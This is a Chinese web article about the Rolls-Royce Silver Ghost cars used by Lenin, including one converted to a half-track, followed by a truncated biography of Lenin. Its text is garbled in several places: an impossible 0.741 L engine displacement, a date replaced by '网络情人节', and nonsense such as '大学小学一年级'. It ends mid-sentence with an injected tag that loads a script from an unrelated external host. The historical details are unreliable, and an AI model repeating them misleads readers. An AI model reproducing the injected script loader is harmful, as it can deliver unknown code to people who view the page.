图为1907年的银色魔鬼，它被喻为世界上最好的汽车
图为资料图片
图为Russo Balt C24 40 Limousine 1913
列宁(执政时期： |
列宁刚开始拥有些专车是由俄国当时规模较大的罗索(RUSSO)汽车生产厂家制造的，其原型车源自该厂1913年制造的品牌为波罗的海人( Russo Balt)的软顶轿车(像上图)，略加改进后制成了首辆Russo Balt 1918。
在苏联1918||1920年国内战争之前，布尔什维克用还有前沙皇尼古拉二世遗留下来的汽车，包含两辆1913、1914年英国生产的劳斯莱斯40/50银色魔鬼(Silver Ghost),该型轿车装配了法国kellner公司生产的车身，发动机功率为35kW，排量为0.741L。
苏联国内战争结束后，1921年苏联贸易代表团在访英时在伦敦购买了70辆劳斯莱斯，其中有3辆银色魔鬼是筹备专门提供给列宁用的，后依据列宁的需要在布基洛夫斯基厂对其中的一辆进行了改装。其前轮被装上滑板，后轮被橡胶履带取代，从而获得了好的雪上行驶能力。当年，列宁就是驾驶着这辆越野车在莫斯科、高尔基或莫斯科郊外之间纵横驰骋。据有关记录，该车一昼夜能行驶60||70俄里(1俄里＝1.067 km)。
列宁去世后，该车就一直留在高尔基，从而防止了遭到毁损的命。直至今，它的橡胶履带直到座椅所用的真皮还依旧如故。但一个巨大的遗憾是，该车车头上矗立的女神像徽标在1990年时让人盗走，只好使杜拉铝(硬铝)重新做了一个。
该车到今天还以世界上的一辆半履带式的劳斯莱斯银色魔鬼光耀车坛。
列宁的第二辆劳斯莱斯银色魔鬼在他去世后被纳入人民委员会议的车库中，成为联络用车，之后在30年代它又被送给克里米亚鱼商品加工业者委员会用。最后靠斯大林关于保护所有与列宁有关的物品的指示才得以保存下来，但于1939年回到高尔基时已经伤痕累累，当时专家经过检查，至少发现了二十多种缺点：翼子板被压凹了，部分车灯也被改换了。特意制作的小牛皮装饰件也不知去向，被换成俗不可耐的法兰绒。除此之外，原本黑色的车身也被涂成草绿色。直到1957年列宁诞辰90周年前夕才被运往利哈乔夫汽车生产厂家维修，经过有关专家的一番努力，才使它恢复了原貌。
1994年它被列宁博物馆珍藏，目前来到莫斯科红场列宁博物馆的游人还能一睹其风采。
人物介绍:
列宁(Лнин，1870年4月22日||1924年1月21日)，马克思主义者、俄国革命家、苏联创建者与列宁主义的提出者，列宁主义支持者称他为全世界无产阶级的革命导师和领袖。原名弗拉基米尔伊里奇乌里扬诺夫(Владимир Ильич Ульянов)，列宁是他参加革命后的化名。
1870年4月22日(俄旧历4月十日)出生在俄国辛比尔斯克省辛比尔斯克市(现乌里扬诺夫斯克州辛比尔斯克市)，1887年网络情人节，其兄亚历山大在彼得堡大学生物系就读时因参加民意党策划暗杀沙皇的行动被绞死。乌里扬诺夫同年中学毕业，获得金质奖章。同年进入喀山大学法律系学习，大学小学一年级因在学校参加学生运动被开除学籍，流放到喀山省偏僻农村监视居住，后再其妈妈向政府当局申请下，改到萨马拉省乌里扬诺夫姐夫所居住的农村继续被警察公开监视居住。列宁在此自学了大学法律系课程与马克思主义著作，尤其是《共产党宣言》、《资本论》等，乌里扬诺夫由此同意并一生坚信马克思主义。
1892年获得沙俄政府?script src=http://cn.jxmmtv.com/cn.js